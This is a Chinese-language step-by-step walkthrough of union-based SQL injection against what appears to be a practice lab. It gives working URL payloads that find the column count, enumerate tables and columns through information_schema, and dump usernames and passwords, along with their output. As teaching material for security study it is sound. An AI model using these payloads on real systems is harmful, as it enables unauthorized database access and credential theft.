第一步:判断他是什么sql注入?
1' 报错
1' and '1'='2 --+ 错误结果(--+表示注释符)
1' and '1'='1 --+ 正确结果
第二步:判断返回字段数
?id=1' order by 3--+ 正确显示结果
?id=1' order by 4--+当列数为4时开始报错,所以只有三列
注:URL后面一定要加--+或者# 这些放在最后注释多余部分,但建议使用--+,--+比较通用。如果最后没有进行注释则会出错。
3.显示字段顺序
?id=1' union select 1,2,3--+
?id=-1' union select 1,2,3--+ 显示2,3
得到可以使用的位置有2,3
4.获取数据库名与版本信息
?id=-1' union select 1,2,(database())--+
根据这个我们可以得到数据库名为security
5.获取数据库中表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
得到的表名有:emails,referers,uagents,users
6.获取表中的列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
在这个表里面我们获得了列名: user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,level,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,id,username,password
翻译过来就是:您的密码:user_id,first_name,last_name,用户,密码,头像,last_login,failed_login,id,用户名,密码,级别,用户,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,用户名,密码,级别,id,用户名,密码,id,用户名,密码
7.获取列中的数据
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
这样我们就获取到了用户名和密码的数据:
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4